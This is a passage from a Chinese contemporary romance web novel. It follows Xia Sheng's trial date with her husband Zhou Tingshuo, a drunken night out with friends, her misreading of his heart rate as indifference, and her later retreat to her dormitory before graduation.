从前她总觉得谈恋爱浪费时间,此刻,她倒希望今天能变得更长一些。 夏声拿出手机,稍稍撤后,偷拍了他半个背影,随后指指前面。 “在平台那放下我吧,咱们这是体验课,差不多就行。” 他略微偏头,俊朗的侧脸神色不变,连呼吸都平稳如初,仿佛背着她像承着一朵棉花。 “我习惯做优等生。” 言外之意,就算体验课,他也要做到完美。 抵达坡顶后,夏声快速从他背上滑下,转到他身前。 “感觉怎么样?” 周庭朔像是刚刚活动开,脱下外套搭在手臂,语气都不喘。 “你是该增肥了。” 什么嘛,爬了一路就得出这么个结论。 夏声不甚满意地哼了声,转身往那边的观景平台走。 情人坡的景观极佳,远处眺望能看到大半京市,夏声双手撑在白漆护栏上,向下看。 “你知道这里为什么叫情人坡吗?” 迎面的微风将她的发扬起,刚好落在旁边周庭朔的肩上,他垂眸看着:“为什么?” “因为下面有个专门放烟花的地方,很多人都选择在这里制造浪漫,告白。” “据说成功率高达百分之九十哦。” 话音刚落,口袋里的手机响起。 夏声看眼号码,是薛宁玉。 通话内容倒没有太重要,前一阵夏声给她定了一套洗护用品,薛宁玉用得好想问她从哪买的。 聊着聊着又说起周仪娇,说是这丫头最近想出国留学,不知道是不是三分钟热度。 薛女士每次跟夏声聊天,总是过分投入忘记时间,周庭朔听得头疼,将手机接过来按下免提。 “妈,你还有什么事。” “挑重要的说。” 对面一顿,似乎不相信这个时间他们两个会在一起。 毕竟通常工作日,周庭朔除了工作,不会有别的行程。 “哎哟,你们这是在哪呢,声声也没说跟你在一块……” 一聊起来,又是闲话长篇,周庭朔出口打断:“妈,重点。” “嗐,没事没事,我不耽误你们约会了,下次再说。”说完立刻就挂断电话。 听到约会两个字,夏声像是被触动般,心底冒出细密的气泡。 她垂眸偷偷压下想要上扬的嘴角。 通话过程中,旁边来了一对小情侣,两人站在离他们几米外的距离,贴着耳朵说悄悄话。 说着说着,男孩的头就低下去。 周庭朔视线偏开,拉着夏声的手准备离开。 夏声一直背对那两人,并没看到,匆匆忙忙被拉走,嘴里嘟囔着。 “你这么着急干嘛?” 好不容易铺垫完成,才引出告白话题,结果就这样戛然而止。 她跟在他身后,没注意他突然停住的脚步,差点撞上。 周庭朔眼神快速看眼坡顶:“难道你准备留下当观众?” 这下夏声才看到,那对如胶似漆的情侣,彼此亲了又搂恨不得合二为一。 她赶忙撤回视线,先一步下台阶。 第一步的铺垫算是白费,夏声在心里叹息。 本还想等到氛围到位,她就直接表白心意,没想到被人这样打断。 只好去下一站,图书馆。 馆内很安静,人也不多,她挑挑选选拿几本书坐到周庭朔对面。 他面前放着一本西方哲学史,一页又一页,翻得认真,好像真是来看书的。 夏声支着下巴,打开一本小说。 本就是随便看看,十几页过去,抬头看向对面,对方仍专心致志投入书中。 她视线转向他背后那桌,一男一女背对他们并排而坐,两人分用一副耳机,偶尔写张小纸条,在中间递来递去,再抬头相视一笑。 早就听说图书馆三楼是小情侣出没最多的地方,夏声轻敲桌面,等周庭朔抬头,示意他看身后。 几秒钟后,对面的人起身,改坐到她旁边。 周庭朔拿出手机在上面打了几个字,递给她。 【抱歉,没在图书馆做过学习以外的事,没有经验。】 夏声也没有,但他们今天又不是真的来学习,不知道他哪来的认真劲。 前方的小情侣一会凑在一起看视频,一会同喝一杯奶茶,一会女生又靠在男生肩膀上休息。 周庭朔转头看她,表情似乎是在问,你需要靠一下吗? 别人是情到深处自然流露,他们这只能叫现学现卖,夏声垂下眼,摇头。 难道她暗示的不够明显吗?哪有人谈恋爱是他这样的啊。 小说也味同嚼蜡,她实在看不进,起身离开。 两人出了图书馆,总算能出声说话。 夏声语调发沉:“所以,那本书好看吗,西方哲学。” 周庭朔看到前方不远处有奶茶店,拉着她向那走:“还好,打发时间。” 所以跟她约会变成了打发时间,宁愿看些不感兴趣的书来消磨。 是不是他早就觉得无聊,只不过碍于承诺,不得不配合。 奶茶店正在搞活动,新品买一送一,店员卖力推销。 “帅哥买杯尝尝吧,正好跟你女朋友一人一杯。” 他问夏声要喝什么,她兴趣了了地样子。 “随便。” 周庭朔从不买这类饮品,也不喜欢这种太过甜腻的口味,于是就根据店员推荐,点了新品。 “一杯就好。” 哪怕店员一再强调一杯也是同样价格,他也坚持只要一杯。 奶茶做好,夏声接过来尝了一口,倒是意外的好喝。 乌龙茶底配蜜桃柚子,加上奶油雪顶,茶香奶香一点甜,出奇的调和。 她只要尝到好吃的东西,心情就会好转,发现周庭朔正看着她,于是暂且抛却刚刚心里的不舒服,举起杯子问。 “要尝尝吗,还不错。” 原本不感兴趣的人,鬼使神差低下头喝了一口。 “嗯,确实不错。” “不错刚刚你还不要另外那杯。”夏声赌气,“那我这杯也不给你喝。” 她拿回到自己身前,闷头喝了一大口。 周庭朔隐约察觉到她似乎不太高兴,但并不知道问题出在哪。 于是解释:“刚刚他们不是同喝一杯,我以为这样比较适合。” 夏声:…… 终于体会到周仪娇说他是个木头的含金量,难道两杯就不能一起喝完一杯再喝另一杯吗。 原本计划的一天,应该是轻松惬意的校园恋爱体验,甚至她已将告白计划在内,结果预想的场景都没实现。 两人坐在学校镜月湖旁边,中间隔着奶茶空杯。 周庭朔在接助理的电话,似乎有工作要处理。 夏声拿出手机,正想随便翻翻正在上映的电影,却被安真的消息吸 引了注意力。 【安真:剧方临时改档期,我明天就要进剧组了!】 【安真:宝贝,我现在又紧张又期待,怎么办怎么办,我真要去拍戏了啊啊啊!】 她笑着看完,正在打字回复,对面电话已拨过来。 “声声,你在哪,我需要你啊!” 对面兴奋的语调极高,连一旁的周庭朔都能听到。 “不行,我现在就要见你,你来找我吧。” 夏声还没开口,就听到对面祁家骏的声音,模模糊糊听不太清,紧接着是安真的声音。 “你懂什么,我现在需要声声给我定心丸。” 夏声看眼长椅另一头,周庭朔已挂断电话,无声看着她。 想来他也没多大兴趣继续所谓的约会,夏声收回视线。 “好,你发地址给我,我一会……” “夏声。”周庭朔沉声打断她,“你说的,一天。” 还没等她说话,安真就插进来:“你跟你家那位在一起呢,他不让你来?” “你不能重色轻友啊,我一进组没准好久见不到你呢,你一定要来。” 她机关枪似的,不给夏声开口的机会,最后直接提议。 “实在不行,你带他来。” 紧接着,对面传来祁家骏的声音。 “对,带着周庭朔,你把电话给他。” 夏声将电话递给周庭朔,对面似乎一直在说服他,周庭朔沉默听着,脸上渐渐不耐烦。 “知道了。” 挂断电话,他看向夏声。 “走吧。” 夏声拒绝:“不用了,一天的时间是我说的,既然由我支配,那现在我也可以叫停。” “今天结束了,现在我自己去。” 第43章 第43章钟情 夏声放下这句话,拿起手包就走。 一部分郁闷,一部分失望,总而言之,她现在情绪不太好。 周庭朔沉默跟在她身后,她今天没穿高跟鞋,娇小的身影,走得倒是很快。 中途,她停下来让他别再跟着。 “不好意思,我去的地方不顺路,你自己打车回去吧。” “顺路。”他语气平缓,不似夏声带着火气。 “你赴你的约,我赴我的,祁家骏叫我见面,刚好同路。” 一拳打在棉花上,夏声吸进一口气,不跟他争论。 路上,夏声嘴巴闭得严实,再不是早上出门时,情绪高涨不停跟他聊天的模样。 周庭朔默默在脑中复盘刚刚发生的一切,试图找出症结,暂时未果。 目的地在耀云海晏,私人会所的二层,安真一见到她就将人拉到旁边的私密休息室。 没给另两位男士进门的机会。 祁家骏耸耸肩,似乎意料之中。 走过去叫上周庭朔:“走吧,去球馆来两盘?” 打球的只有祁家骏,周庭朔坐在场边,手肘撑在膝上,捏着手机偶尔转两圈。 表情寂寥,若有所思。 网球触墙的声音回荡在球馆,祁家骏打了几个来回,将拍子扔到一边,扯下毛巾擦脸,顺势坐在他对面的地上。 “不是,你来这当门神的,戳这话也不说,球也不打。” “和人吵架了?我看刚刚夏声连个眼神都没给你,直接将你拒之门外。” “啧啧,你这家庭地位也是岌岌可危。” 周庭朔掀起眼皮,瞥他一眼。 “进不去门,没有眼神的不只我一个。” 祁家骏将毛巾挂在脖子上,满不在乎:“安真又不是针对我,她那是紧张的。” “我们俩可好着呢,有感情基础,不像你……” “嗯。”周庭朔转了转无名指的戒圈,“我们只有婚姻基础。” 他顿了顿:“受法律保护。” 祁家骏总觉得他是在炫耀,看不下去,非要跟他较劲。 “要不咱俩试试,谁去敲门能敲开。” 周庭朔将座位上的水瓶扔给他:“你无聊,不要拉上我。” 当然,另外两人也没给他们机会。 等他们从球场回去,两姐妹已经出来,美滋滋地在茶吧那喝茶说话。 茶吧中央是一张七米长的实木长腿桌,桌子中央立了一块电子屏,夏声正在那上面翻菜单。 她还没吃饭,有点饿。 这会的安真是兴奋大于紧张,夏声最知道怎么给她定心思,房间里几句话就将人安抚明白。 她明天下午要进剧组,光封闭围读就要半个月,于是这会就开始筹备今晚狂欢最后一夜。 “要不要叫娇娇来,上次不带她,大小姐都生气了。” 夏声没抬头,将一道小炒油菇加进菜单。 “你问问她好了,不过她未必有时间。” 祁家骏坐到安真旁边,按下她的手机。 “你真要叫她?明天就得进组,今天早点回去休息得了,别狂欢了。” 安真拍开他的手,拨出去视频通话请求,一点没犹豫。 “我找小姐妹,又不是找男人来,你还有意见。” 祁家骏只好闭嘴。 电话接通时,屏幕里的周仪娇眨眨眼,凑近来仔细看。 发现他们四个人同在一框出现,感觉有什么次元壁破了。 “你们几个怎么会在一起,家骏哥在也就算了,我哥怎么也在,不加班?” 周庭朔正站在夏声身后,向她推荐菜品。 他偶尔应酬会来这里,对这的菜单有些了解。 听到周仪娇的疑惑,周庭朔抬眼瞥向安真的手机屏幕。 “你这个月的零花钱还没打,慎言。” 对她来说,最有震慑力的就是这句话,周仪娇立刻偃旗息鼓,举手投降。 安真问她要不要来。 “算了吧,你们都带着家属,谁来管我单身狗死活。” 祁家骏接过手机:“要来就来,这里哪个不是你家属,快点。” 他虽然劝安真回去休息,实际帮她摇人时又不遗余力。 周仪娇真怕自己成唯一电灯泡,提议:“要不把任珩和卓冕哥也叫来吧。” 安真玩得开,不认识的也无所谓,一概让叫来。 等他们这边张罗完,夏声那也差不多选好菜。 她有些犹豫,看下时间,问:“要不要等他们都来了,再上菜?” 周庭朔帮她下单,设定的上菜时间是最近的。 “你饿了先吃,他们来可以再点。” 虽然夏声对他、对今天并不满意,但关起门来可以使性子,在外人面前,她还是尽量不露痕迹,不让彼此难堪。 于是点头说好。 其他人基本上是同时到,任珩刚结束集训回来,正想好好放松,一来就让祁家骏介绍安真,介绍完好开玩。 卓冕是被任珩拉着来的,他站在夏声斜对面的位置,远远冲她点头。 娱乐区,除了周庭朔和卓冕,其余几个人围坐在一起,旁边摆着不少酒水饮料。 祁家骏正介绍游戏规则。 “勇气大逃杀,开局大家抽取底牌,抽到罪罚牌的玩家要在游戏过程中隐瞒身份,通过游戏过程实现换牌,最后留罪罚牌的要接受惩罚。” “大原则就是这个,其余功能牌和小规则咱们边玩边介绍,第一局先练手。” 这桌上就夏声和任珩没玩过,大家着重给他俩讲解。 一局结束,开始正式进入对局。 夏声开局很顺利,抽到白牌。 轮转几次牌组后,气氛开始火热起来。 而远处远离热闹场景的两人,分坐在圆桌两侧。 卓冕捏着茶棕色玻璃酒杯,冰块混合酒液随着他晃杯的动作,撞击出声。 “周庭朔,我们十几年的朋友,你是真懂如何切我七寸。” “你让我帮你草拟婚内财产协议。” “怎么不让我帮你拟份离婚协议?” 那边,周仪娇惊叫一声,极不情愿送给夏声两张牌,引得夏声捂着牌笑,周庭朔视线落在她颤动的背影,面色柔和。 上次,与卓冕的对话两人虽都冷静理智,但并不代表彼此不在意。 他收回视线,看向对方。 “你是律师,也是我多年好友,没 有比你合适的人选。” “至于离婚协议,用不上。” 卓冕鼻息轻嗤一声,扔下酒杯,玻璃杯底砸向桌面,发出一声脆响。 也引得那边人群的注意。 周仪娇冲他们招手:“卓大哥,你快来帮我,我算计不过这帮人精了!” 卓冕整理表情,声调冰冷无绪。 “你放心,虽然我赢过不少违心违德的案子,但我有我的底线,有些事我不会做。” 他起身,路过周庭朔身边时,手按在他肩侧。 “也希望,你选择了她,别辜负。” 下一句,他压低声音:“当然,如果你辜负了,一切另论。” 卓冕加入周仪娇阵营,而周庭朔也走过去,站到夏声身后。 又进入一轮分牌,周仪娇等到翻盘机会,她需要选定挑战对手。 这姑娘耿直,从夏声手下吃亏,就要从她这里找回。 如果夏声不接受挑战,就必须要接受跟对方积分对调,如果接受就有被挑战成功的可能。 周庭朔手撑在她身旁,看过她手里的牌,跟她对视一眼。 “可以接受。” 安真在旁边插话:“你让声声接受,万一失败,你来替她受罚?” 其实夏声自己也想接受,毕竟不接受积分对调,那么下轮结算她必定要先受轮内惩罚。 “好,我替她。” 这一轮挑战开始。 对面卓冕一步步指导周仪娇,周庭朔则帮着夏声组织牌面和策略,桌上其他人都在看热闹,一时间倒像是他们二人之间的较量。 原本夏声方占据优势,但对方触底反弹,最后一次算分换牌,竟然险胜了他们。 周仪娇算完分,乐得跳起来,转身跟卓冕击掌。 “太好了,快想想怎么惩罚我哥!” 什么喝酒,表白大冒险之类的都太老套,大家似乎很少能找到让周庭朔出糗的机会,纷纷头脑风暴起来,激动得不行。 反倒处于讨论中心的人十分淡定,夏声听到几个讨论中冒出来的惩罚,有些担忧地看向他。 比如“跟帕姐跳内啡肽三十分钟”,或者“用港台腔念一段琼瑶对白”…… 他们那些天马行空的提议,是她想想都觉得社死的程度。 周庭朔递给她一杯落日无暇,无酒精的鸡尾酒。 “尝尝,你应该会喜欢。” 她接过来:“你不担心他们要怎么折腾你吗?” 惩罚恰好讨论出来,祁家骏举起双手击掌几下,大家纷纷看向他。 “决定了,就让他唱一首歌,并且要允许我们全程录像保存上传。” 听起来并不像什么惩罚,夏声疑惑地看向周庭朔。 对方始终站在她旁边,垂着眼摆弄着桌上的纸牌。 这惩罚是祁家骏跟周仪娇商量出来的,他俩对周庭朔最了解。 周仪娇:“我妈说过,我哥上一次唱歌可能还是小学。” 祁家骏:“所以我有理由怀疑,他就是五音不全,没准开口就是水牛音,才从来不在人前亮嗓。” “我靠,我一定要录下来,以后他再装B的时候,我就放给他听。” 周庭朔神色不变,将手中的牌扔进牌堆,视线缓缓转向周仪娇,带着迫人的压力。 “看来,这个月你是想给我省一笔。” 后知后觉的周仪娇:“啊,我的零花钱!” 祁家骏势在必行,立马承诺:“没事,哥哥我给你补,今天我一定要听水牛唱歌。” 会所三楼就有影音室,昏暗的灯光下,夏声凑到他身边,悄声问他。 “你要是实在不方便唱,就我来受罚好了,本来也该是我的。” 如果只是丢脸一次也就算了,被拍下来以后反复处刑才是最可怕的。 “没事,你去吧。”他并没表现出什么情绪,推她去沙发那边坐,自己去选歌。 前奏响起时,看热闹的几人已经把手机举起来。 任珩忍不住开口:“朔哥,这歌怕是比我年纪都大吧。” 一首十几年前的粤语老歌,夏声没想到他会选这首。 热血励志,振奋激昂,是很多人从小熟知的金曲,甚至都会哼唱几句。 他握着话筒坐在点歌台后的高脚凳,长腿闲闲支在地上,整个人姿态非常放松。 直到他开口唱第一句,所有人都怔住,似乎不相信自己的耳朵。 没有想象中的奇怪唱调,唱音准确,咬字清晰。 更难得的是他能唱出这首歌的精髓,不用技巧,只凭借干净纯粹的情感表达。 夏声听得不自觉扬唇,开始给他打拍子。 唱到一半,安真就已开始跟唱,接着大家都加入,渐渐就成了热血沸腾的大合唱。 一曲终了,众人竟有些意犹未尽,安真率先鼓掌。 “周总没想到藏了一手,佩服佩服。” 举着手机的祁家骏一脸吃瘪相,气急败坏地删掉视频,将手机扣到桌上。 本想着留存他黑历史,这可好,成高光时刻了。 还有人起哄要他再唱几首,不出所料都被他回绝。 后来,大家各自打桌球的打桌球,霸麦的霸麦,安真在那边跟任珩划拳喝酒。 夏声跟他们玩了两局,输掉的几杯酒进肚,便开始坐在沙发角落,昏昏沉沉地犯困。 不知道什么时候迷糊过去的,只是后来感觉到有人扶起她的肩膀,随后靠进一个胸膛。 鼻息间的冷调木香很熟悉,夏声喃喃自语般。 “你能再唱首歌给我吗,摇篮曲都行。” 半晌,头顶传来一声轻笑:“真拿你没办法。” 沉缓富有磁性的嗓音缓缓在她耳边哼唱,曲调优美,十分动听。 这首歌不算太老,夏声恰好知道。 她默念歌的名字,随后心底蓦地一颤。 ——《钟情》 第44章 第44章未来得及说出口的答案…… 耀云海晏的狂欢夜,夏声只参加了前半部分。 她在沙发休息会,就起来跟周仪娇聊天,两人又稀里糊涂尝了好几种酒,洋酒红酒鸡尾酒,量都不多,但混酒最容易醉。 后半程夏声只觉得身体轻飘飘,地板都在旋转。 直到她举着酒杯踩上桌子,企图要跟吊灯干杯的时候,周庭朔才出手将她抱下来。 “不能再喝了。”他想将酒杯接过,被夏声瞪了一眼。 “你说不能就不能,你谁啊!” 这是真醉了。 她眯着双眼,打量他好几下,随后偏下头,表情狡黠。 “真真从哪找来的帅哥。” 醉酒的人不光言语大胆,行为也开始脱轨,她顺手抓了抓他手臂,露出满意的笑。 “身材也不错嘛,平时有锻炼?”她目光向下,落在他腰腹,“给姐姐看看实力。” 这些话都是平时安真挂在嘴边的,夏声不知什么时候学会,一场酒全给抖落出来。 周庭朔只管稳住她摇摇晃晃的身形,间隙将她酒杯夺过来。 见他没有反应,夏声直接自己动手,只是手指刚碰到他衣服的下摆,手腕就被人握住。 抬头,撞进一双深邃黑沉的眼。 “还知不知道我是谁?” 是谁? 夏声缓慢眨眨眼,视线里一会两个人一会一个人,她被困在这人的臂弯里,摸又摸不得,走又走不了。 “你是小气鬼,明明别人身材好,要看看腹肌都是大大方方展示,就你不行。” 周庭朔横眉沉下:“你看过?” 安真看过啊,就她账号的私信里就有一大堆开屏的肌肉男主动投送。 “不跟你说了,浪费我感情。” 趁他不注意,夏声一个转身,逃出他的掌控。 安真在沙发另一头,还在跟任珩鏖战,夏声跌跌撞撞,找她去吐槽。 “你点的男模一点都不好,小气吧啦。” “男模?”安真一手扶住她,刚想问哪来的男模,看到身后阴沉个脸过来的周庭朔,憋不住笑。 将人交还到周庭朔手中,安真摆摆手。 “快带她回去吧,就没这么醉过,你照顾好她啊。” 从前夏声喝酒,顶多是微醺,真正像今天这样醉透,还是头一回。 “还有,我们声声可没找过什么男模,也没做过任何出格的事,她这是喝多了乱说,你可不能把她想歪。” 周庭朔将人圈在怀里,奈何小小的人劲还挺大,总想再折腾出去,他索性直接打横将人抱起来。 随后对安真点头:“我知道,你们玩,我先带她回去。” 窝在怀里的人还不老实,隔着衣服摸到他的胸肌,偷偷傻乐。 一路上,夏声也不安分,等红灯时,非要把车窗开到最低,趴在上边跟路边的垃圾桶聊天。 好不容易将人带回家,又突发奇想,要跟他一起运动。 “你醉了,不能运动。” 大概是吹了一路风,夏声酒醒了点,她扶着玄关处的柜子,认出眼前人是谁,开始发号施令。 “那你运动,我监督。” “说好今天我说了算,还没过零点。” 她蹲下身,想要抱福宝,小猫咪闻到她身上的酒味,退开两步。 夏声扑个空,生气地哼一声,拽着周庭朔就往最里面的房间走。 碧水华汀有一间专门改成健身房的房间,他偶尔会在那运动。 看眼时间,还不到八点,想来她也要折腾一会再睡,周庭朔答应运动,但要先去换衣服。 夏声非要给他挑衣服,从衣柜翻出一套无袖纯白速干衣和黑色短裤,戳他去换。 她转身跑到外面,靠着墙乐。 不知道为什么,喝了酒她就爱傻乐。 这身衣服贴合身形,腰腹收束的恰到好处,能隐约显出肌肉线条,他穿起来也最好看。 等周庭朔换好衣服出来,夏声悄无声地跟着他去看他运动。 热身、硬拉、挺举……手臂上的肌肉束渐渐充血丰盈,手背上的经络青筋突起。 她坐在一旁空闲的器械上,双手捧脸看得认真。 可以算是大饱眼福。 运动大概四十多分钟,周庭朔看眼手环的消耗记录,拿起一瓶水仰头喝尽。 今天他没出多少汗,看夏声差不多安静下来,就结束训练过来找她。 “好了,回去洗澡了。” 过了这么长时间,夏声的酒少说也醒了大半,还剩一点晕乎劲儿。 她壮着声势,明知故问:“所以肌肉不用力的时候,到底是硬的还是软的。” 周庭朔拉开房门向外走,转头看她一眼。 “晚上用力的不用力的,你不是都摸过。” 跟在后面的夏声,两腿一绊差点平地摔,周庭朔眼疾手快扶住她,顺势将她的手放在他的腹部。 “自己摸。” 她有好几个晚上是摸过,只不过摸的时候自己大多在折磨与沉沦中挣扎,哪分得上心去关注手下的触感。 这会儿她一副学术探讨的模样,四指并拢轻轻按下。 “哦,是软的。” 得到答案的夏声心满意足,跟他一起回到卧室。 周庭朔拿了睡衣准备去洗澡,转身看见夏声坐在床尾凳上,侧着身子躺下去。 一身酒气她还不能上床睡觉。 想了想,他将人拉起来,一起带进浴室。 夏声本想再醒醒酒,就去客卫洗澡,稀里糊涂被拉着进浴室,眼看他在身后将门关上,睁大眼问。 “你干什么?” “洗澡。” “我知道,我的意思是你拉我进来干什么。” “一起。” 冲击过大,夏声嘴巴微张愣在原地,周庭朔放好睡衣,回头视线落在她的唇上。 今天早上,为了一日约会,她还特意画个淡妆,唇瓣上是暖调的桃粉色,显得人格外甜。 “你是不是要先卸妆?” 夏声的卸妆液就在镜子旁的置物架上,他见她用过几次。 透明蓝色的瓶子,里面的液体静置后会上下分层。 “这个怎么用?” 从上一个问题的冲击刚回过神,夏声机械地打开旁边的收纳盒,里面是化妆棉片。 她刚想自己拿,周庭朔越过她的手,取出棉片,放在手里观察。 “你要帮我弄?这个不用我自己来就行。” 她抬手去拿,他便退后一步,夏声不备向前踉跄,扶着他手臂站稳,刚好被他空出一只手揽进怀里。 身体推着她向后,直到她腰靠上洗手台的边缘。 周庭朔将卸妆液晃匀,打湿化妆棉,随后抬起她的下巴。 “早上你帮我,晚上我帮你,礼尚往来。” 两人的姿势,夏声刚好能看到他下巴上隐约的青色,早上没有处理完美的胡茬有些显现。 他的视线锁在她唇上,化妆棉轻轻蹭上去,口红卸下,露出她本来浅淡的唇色。 按理说几下就能弄好,他仔仔细细擦了几分钟,到最后动作变了味道。 手指轻轻摩挲着她的唇,落下的视线似乎也带着温度。 两人之间的呼吸越来越近,夏声的眼睫忽闪,心跳早已乱了节奏,在他的唇落下之前,抬手捂住嘴巴。 周庭朔的吻落在她的手背,眼神停顿。 夏声略微向后,脸上刚消下的酒晕,又透出粉红。 “让你卸妆,又没让你做别的。” 他拉下她的手,问:“你不喜欢?” “讨厌我?” 夏声避开他的视线,声音减弱:“两码事。” “那你喜欢吗?” “什么喜欢?”夏声被他问得不知该怎么回答。 “我,喜欢我吗?” 他最会循循善诱,步步为营,几句就将人绕进陷阱。 一句话,轻飘飘从他口中脱出,夏声的心却重重一跳,像是被瞄准眉心,精准击中。 “我……” 她声音低到不可闻,周庭朔似乎一定要听到她的回答,弯腰凑近。 “很难回答?” 不难,她鼓噪的心跳早已出卖答案。 只是刚想开口,掠过的视线扫到他手腕上的运动手环,75的数字明晃晃地映在屏幕上。 夏声就这样静止地看了几秒,那数字平稳清晰,甚至没有太大起伏,一下一下将她身体的热度慢慢浇熄。 胸腔中翻涌的悸动与紧张骤然被按下暂停键,剧烈的心跳甚至来不及平复,夏声猛地抬眼对上他沉邃的目光。 所以这算什么。 她热切心动,他心如止水。 未动感情的人就能冷眼旁观,毫无波澜地挑拨她的真心,逼问她的真心。 有趣吗? 手指蜷进掌心,夏声用力握紧,直到指尖割下的痛一寸寸漫出。 她咬着牙,表情不漏一丝破绽,假装什么都没发现般推开他。 “我拒绝回答。” 拿起旁边的卸妆液,她转身消失在浴室门口,整个过程不过几秒钟,周庭朔伸出的手甚至没能抓住她的衣角。 他看着关上的玻璃门,很难理解为何事情的发展如此脱控。 明明刚刚,她的答案已经要脱口而出。 客卫的卫生间,夏声孤零零站在镜子前,沉默不语看着镜子里的自己。 眉心始终蹙着,直到她抬手握拳,在胸口压了几下。 那股压抑的滞闷一直堆积在心口,不论她如何深呼吸,也纾解不开。 “没关系,不就是不喜欢你,并不重要。” 她自我安慰,却收效甚微,怎么会不重要呢? 如果她不曾动心,不曾投入期待,不曾憧憬回应,那还可以理智冷静面对。 可现在,她骗不过不断涌起的失望,心底的痛不是一瞬覆顶,而是丝丝缕缕,密密麻麻地侵蚀身体的每一寸。 “恋爱一点都不好。”她忍住眼角的湿意,硬是弯起嘴角,“所以你不许再期待,再留恋。” 镜子里的夏声眼眶红红,梗着脖子不住点头,像是承诺自己就能做到。 “夏声,你记住。” “从现在开始,他只是你的丈夫,不是你的恋人。” 第45章 第45章躲着他 这一段时间, 云声文化慢慢步入正轨。 夏声越来越忙,早出晚归甚至胜于周庭朔。 每次夜半下班回家,她总是累得倒头就睡,周庭朔甚至很难找到机会跟她说上话。 一转眼,就到五月底,夏声需要回学校答辩,之后就是毕业。 寝室的几个姑娘除了忙着准备论文答辩,还经常在学校四处打卡,在群里发了好多照片视频给夏声看。 金楠楠录取了老家的编制,赵茹找了南方的工作马上要成为深漂,沈习诗考上外校研究生,下半年要去沪市。 等一毕业,四个人就是真正意义上的天南海北。 回去交论文定稿那天,夏声特意回了寝室一趟。 赵茹正在收拾行李,地上摊着行李箱,鞋盒摞了一摞,用绳子捆着。 看见夏声进门,她停下动作将箱子移开,给她腾出位置。 “稀客哦,今天怎么舍得回来?” 夏声将包放在自己的桌子上,现在只有她的书架还是原样,满满当当。 桌面倒是干净,看得出她不在的时候,一直有人帮她收拾。 “她们人呢?” “楠楠去办人事档案迁移去了,诗诗去小吃街买吃的。” 夏声拉出椅子坐下,看着赵茹打包。 之前她一直忙自己的事,这会坐在寝室才生出一种实感,她们是真的要毕业了。 桌面左上角还放着四人合照,那是大一军训后,大家拍的第一张合影。 赵茹将箱子合上,转头问她:“对了,你一会还走吗,不走咱们晚上一起吃个饭?” 夏声没考虑多久,干脆答应:“不走,我请你们。” 傍晚,寝室四人去了学校南门最爱去的那家饭馆。 爱吃的菜太多,几个人商量了好久才定下最后菜单。 “一想到以后再也吃不到这家的土豆烧鸡,我就难受得要死。” 沈习诗原来一直张罗减肥,最近一个月却完全放飞自己,只要是爱吃的,别的地方没有的,她一概要吃个够。 金楠楠叹气:“你跟赵茹走得太远,以后想回来看一眼都难,我还近点。” “就声声最好,可以想回就回。” 一直在旁边帮大家烫茶具的夏声没作声,等大家都不在了,她回来也只能睹物思人,哪有什么意思。 几个姑娘点了一打啤酒,聊着喝着也就慢慢忘记烦恼,最后满桌热热闹闹说起憧憬的未来。 “还是声声厉害,现在自己做老板,还有个那么宠她的老公,人生圆满了。” 夏声脸上一直带着笑,也没反驳。 她不愿破坏好心情,便转移话题:“也没剩几天了,不如我回寝室住吧。” 金楠楠第一个高兴:“行吗,你老公愿意吗?” 赵茹满不在意:“他干嘛不愿意,就几天不至于离不开吧?” “可以的。” 夏声打开手机,点开对话框打下一行字。 【最近要忙毕业的事,我先住学校。】 消息送达,周庭朔刚好在开会,他垂眸点开,看着这条信息,半晌没有动作。 项目经理进度汇报到一半,站在那神色尴尬,低声叫了三遍,老板才抬眼。 “周总,渭南的生产线二期刚投产,暂时只能承接一半产能。” 他尽量将情况介绍得全面,使得这个结果看起来合理。 然而周庭朔只是冷淡地看他一眼,将桌上的项目报告合上。 “生产线磨合期最多三个月,到年中不能实现全产能负荷,项目评估降档,你们自己估量。” 他甚至没听完剩下的介绍,直接起身离开。 会议室里,众人变了脸色。 刚刚还能耐心听他们解释的老板,怎么说翻脸就翻脸? 住在学校的夏声明显轻松一些,这里去公司要远点,还要赶在寝室关门前回去,所以她也就不太加班。 其实之前也并没有那么忙,只是她不想过多面对周庭朔。 有些情绪需要时间冷却,她在争取空间。 又一个周末,安真在剧组拘了一个多月,总算能休息两天,拍摄地在隔壁市,她买张车票就跑回来。 约夏声的时候,她公司正好有点事,等她空出时间来找安真,发现周仪娇比她先到。 她们约在一家高档自助见面,安真见她来,放下刚取来的海鲜刺身,跑来拥抱她。 夏声拉着她打量一会,皱眉:“你怎么瘦这么多?” 她自己摸摸消下去的脸颊,倒不在意:“为了上镜,不瘦不行。” 周仪娇也好奇,赶紧取经。 “怎么瘦的,有什么好方法。” “没有,纯饿。”安真拉着夏声坐在旁边,将桌上的虾丢进小火锅。 “没看我即使出来跟你们吃饭,都只敢吃点海鲜,只有这东西不怎么胖人还解馋。” 饭吃到一半,安真说起剧组八卦,聊着聊着就提到女主角伊一。 她压低声,故作神秘:“有个小道消息,不知道真的假的,想听吗?” 周仪娇从桌对面伸出耳朵,催她别卖关子。 “我听说她以前追过一个圈外人,你们猜是谁?” “切,我以为什么新鲜事呢。”周仪娇一脸失望,坐回去,“追过我哥啊,这我知道。” “我去,这是真的啊?” 说八卦的变成听八卦的,安真马上开始打探细节。 “就两年前的事,那时候她刚拿了金兰奖最佳女配角,风头正盛,不知道怎么认识我哥的,反正追过一阵,不了了之。” 夏声一直在埋头吃东西,没表态也没表情,安真手肘碰碰她。 “哎,你家听说哥挺有定力,女明星追都无动于衷啊。” 周仪娇见怪不怪:“我哥一直这样的,异性绝缘体,除了我嫂子。” 安真拉长音“哦~”了一句。 “不过我们声声长得也不输女明星,她们靠包装,我们靠天生丽质。” 默默听着她们的对话,夏声心里说不清什么感觉,她明显不是什么例外,只是周庭朔演技惊人,所以大家都以为他对她另眼相待。 连自己都差点被骗。 饭吃差不多,祁家骏开车来接。 “祖宗,吃完了吗,那边还等着呢。” 如今安真半只脚踏进演艺圈,祁家骏也不再不务正业,家里的影视产业说接就接,学着投资评估经营,简直像是重新投胎转性。 这不又给她接了个资源,要带人去见。 安真连忙收拾,拿出口红补个妆,风风火火跟她们告别。 “先办正事了,回头再聊。” 她走了,桌上冷清一半,周仪娇发出感叹。 “羡慕安真姐,想做什么立刻就能去做,还有人支持。” 夏声看出她情绪不高,问:“怎么了,前一阵你不是说想出国留学?” “去不成了,护照都被扣了。” “怎么,妈不同意吗?” 周仪娇撅起嘴,明显心里有怨。 “哪啊,是我哥。” “他干嘛不让你去?” 虽说周仪娇也气,但她心底里还是听她哥的。 因为整个周家,只有周庭朔会无条件为她兜底,为她收拾烂摊子,为她打花不完的零花钱。 